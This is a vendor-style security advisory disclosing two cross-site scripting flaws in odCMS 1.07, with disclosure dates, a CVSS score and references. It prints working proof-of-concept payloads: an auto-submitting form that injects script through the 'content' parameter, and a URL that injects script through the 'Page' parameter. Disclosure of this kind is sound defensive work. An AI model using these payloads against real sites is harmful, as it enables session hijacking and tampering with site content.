Total Tests:

Cross-site Scripting (XSS) Vulnerabilities in odCMS

This vulnerability was discovered by our security researchers before 2019.

Advisory ID:HTB22425
Product:odCMS
Vendor:odCMS Team
Vulnerable Versions:1.07 and probably prior
Tested Version:1.07
Advisory Publication:June 7, 2010 [without technical details]
Vendor Notification:June 7, 2010
Public Disclosure:June 21, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
Risk Level:Medium
Medium Risk
CVSSv2 Base Score:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in odCMS which could be exploited to perform cross-site scripting attacks.

1) Cross-site scripting (XSS) vulnerability in odCMS
1.1 The vulnerability exists due to input sanitation error in the "content" parameter in _main/index.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
<form action="http://host/_main/index.php" method="post" name="main" >
<input type="hidden" name="Update" value="content" />
<input type="hidden" name="username" value="admin" />
<input type="hidden" name="filename" value="Home" />
<input type="hidden" name="Page" value="Home" />
<input type="hidden" name="header" value="Home" />
<input type="hidden" name="content" value='content"><script>alert(document.cookie)</script>' />
<input type="hidden" name="Save" value="Save" />
</form>
<script>
document.main.submit();
</script>

1.2 The vulnerability exists due to input sanitation error in the "Page" parameter in index.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
http://host/index.php?Page=Home'"><script>alert(document.cookie)</script>


Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB22425 - https://www.immuniweb.com/advisory/HTB22425 - Cross-site Scripting (XSS) Vulnerabilities in odCMS
[2] odCMS - odcms.net - odCMS is a set of PHP programs used to create dynamic HTML documents by retrieving the data stored in regular files.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Ask a Question